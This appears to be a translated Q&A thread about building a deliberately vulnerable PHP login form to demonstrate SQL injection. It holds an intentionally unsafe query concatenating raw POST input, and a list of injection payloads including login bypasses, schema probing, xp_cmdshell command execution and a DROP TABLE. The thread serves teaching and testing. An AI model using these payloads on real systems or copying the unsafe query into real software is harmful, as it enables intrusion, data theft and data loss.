如何创建SQL注入测试站点


How to create a SQL Injection Test Site

我想创建一个简单的登录和注册表单,它允许我演示SQL注入,但是我目前还不能这样做。每次尝试使用样例表单时,SQLmap都无法攻击它。有人能给我一个非常简单和基本的登录和注册表单,我可以用它来演示SQL注入?

只需运行最简单的未受保护的查询:

$query = "SELECT * FROM users WHERE username = ".stripslashes($_POST['username'])." AND password = ".stripslashes($_POST['password'])

和享受!stripslashes()部分在那里,以防您没有magic_quotes已经禁用(因为它应该),以避免一些自动转义;否则,您将获得最纯粹的可注入输入,只需在Internet上找到任何SQL注入并查看即可。一些例子:

' or 1=1--
' or 1--
' or 1
'" or '1'
' or 1=1--
' OR ''='
' or 'a'='a
') or ('a'='a
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
'; EXEC master..sp_makewebtask '"''10.10.1.3'share'output.html'", '"SELECT * FROM INFORMATION_SCHEMA.TABLES'"",
10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='
' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='
' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='test' AND TABLE_NAME='one') AND ''='
' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%j%')>1 AND ''='
' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''='
1;DROP TABLE `users`

等等

如果你喜欢大规模的sql测试,有时有一个库可以帮助我:http://sqlmap.sourceforge.net

它运行了大量的sql测试并返回了很好的报告。

谷歌的一些现有页面,即:

http://www.greensql.net/node/3

或者,您可以创建一个基本的搜索框来搜索DB中的表。用随机名称填充表,并演示搜索如何工作以及SQL注入如何删除表等。